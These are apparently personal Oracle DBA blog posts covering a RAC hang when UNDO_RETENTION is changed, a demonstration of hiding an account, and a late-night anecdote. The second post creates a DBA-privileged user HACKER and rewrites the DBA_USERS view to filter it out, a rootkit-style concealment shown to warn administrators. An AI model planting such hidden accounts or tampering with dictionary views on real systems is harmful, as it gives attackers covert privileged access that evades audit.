Changing UNDO_RETENTION on RAC (10.1.0.X)

4 months ago while we were archiving our database (2 node RAC) we got continuous Ora-1555 error for archiving queries.

I decided to update undo_retention parameter with command

alter system set undo_retention=36000 scope=both;

than DB hanged. One node was accepting “sqlplus / as sysdba” while

other node (the node i alter the DB ) wasn’t.

srvctl stop database -d DB_NAME

srvctl stop instance -d DB_NAME -i INSTANCE_NAME

commands did not work for the unresponding node.

I took the system state dumps from the working node and killed the other nodes processes from OS.

After CRS restart everthing worked fine.

I did not understand why till the respond from Metalink Tar.

This was related with the bug https://metalink.oracle.com/metalink/plsql/showdoc?db=Bug&id=4220405

It says

ALTER SYSTEM SET UNDO_RETENTION=<N> HANGS RAC INSTANCES which has been closed as base bug 3023661)
Bug 4220405 ALTER SYSTEM SET UNDO_RETENTION=<N> HANGS RAC INSTANCES which has been closed as base bug 3023661)
The problem is caused by deadlock between CKPT and PZ99 slave. The internal algorithm to query the
current value of undo_retention of each instance and modify it has problem. It does unnecessary gv$ query and
lob$ update when spfile is used. It is coding problem. The bug has been fixed in 10.2 and it is not backportable to 10.1.0.x due to code structure change.

The Usage of UNDO_RETENTION is below

alter system set undo_retention=1800 sid=’RAC1′;
alter system set undo_retention=1800 sid=’RAC2′;

Be carefull while changing undo_retention on RAC

Advertisement

What if DBA views are not reliable ??

Suppose that you are the DBA of big Corporate with many DB users.

One day you query the v$session table and you see a username HACKER.

who is this ????

firts you look to toad and see nothing about user HACKER

than you query dba_users

and you see nothing about user HACKER

Where this user come from ??? Why you cant see him ??

Answer is below.
13:04:40 SQL> create user hacker identified by hacker;

User created.

13:05:50 SQL> grant create session to hacker;

Grant succeeded.

13:05:58 SQL> grant dba to hacker;

Grant succeeded.

13:12:33 SQL> select username from dba_users where username=’HACKER’;

no rows selected

but

13:14:23 SQL> select name from user$ where name = ‘HACKER’;

NAME
——————————
HACKER

1 row selected.

The answer can be read between the lines

CREATE OR REPLACE VIEW DBA_USERS
(USERNAME, USER_ID, PASSWORD, ACCOUNT_STATUS, LOCK_DATE, EXPIRY_DATE,
DEFAULT_TABLESPACE, TEMPORARY_TABLESPACE, CREATED, PROFILE,
INITIAL_RSRC_CONSUMER_GROUP, EXTERNAL_NAME)
AS
select u.name, u.user#, u.password, m.status,
decode(u.astatus, 4, u.ltime, 5, u.ltime, 6, u.ltime,
8, u.ltime,9, u.ltime, 10, u.ltime, to_date(NULL)),
decode(u.astatus, 1, u.exptime, 2, u.exptime, 5, u.exptime,
6, u.exptime, 9, u.exptime, 10, u.exptime,
decode(u.ptime, ”, to_date(NULL),
decode(pr.limit#, 2147483647, to_date(NULL),
decode(pr.limit#, 0,
decode(dp.limit#, 2147483647, to_date(NULL), u.ptime +
dp.limit#/86400),
u.ptime + pr.limit#/86400)))),
dts.name, tts.name, u.ctime, p.name,
nvl(cgm.consumer_group, ‘DEFAULT_CONSUMER_GROUP’),
u.ext_username
from sys.user$ u left outer join sys.resource_group_mapping$ cgm
on (cgm.attribute = ‘ORACLE_USER’ and cgm.status = ‘ACTIVE’ and
cgm.value = u.name),
sys.ts$ dts, sys.ts$ tts, sys.profname$ p,
sys.user_astatus_map m, sys.profile$ pr, sys.profile$ dp
where u.datats# = dts.ts#
and u.resource$ = p.profile#
and u.tempts# = tts.ts#
and u.astatus = m.status#
and u.type# = 1
and u.resource$ = pr.profile#
and dp.profile# = 0
and dp.type#=1
and dp.resource#=1
and pr.type# = 1
and pr.resource# = 1
and u.name <> ‘HACKER’
Thanks Steve Callan, for informing us about the situation above.

http://www.dbasupport.com/oracle/ora10g/hackers.shtml

What i have learned today;

If you want to be a real dba look behind the VIEWS.

Security Comes First

Who is my girlfriend ?

Hi

My name is Coskan and I am a DBA for 5 Years.

It is 00:39 AM in Turkey.

30 minutes ago The operator woke me up to inform that some of our exports failed .

Now i am writing this first message while i am waiting for the completion message of success (with prays).

My girlfriend woke with me and went to smoke with an angry face. I am on the bed by myself and writing a message for Oracle.

Who is my girlfriend right now ?

Oracle or She ?

IF It is bedtime and if i am with Oracle and if i am struggling with its problem i think Oracle is my real girlfriend

it is 00:44 right now and the export finished with success and my girlfriend turn back to bed.

now i dont want any Oracle problem for today.

To be continue……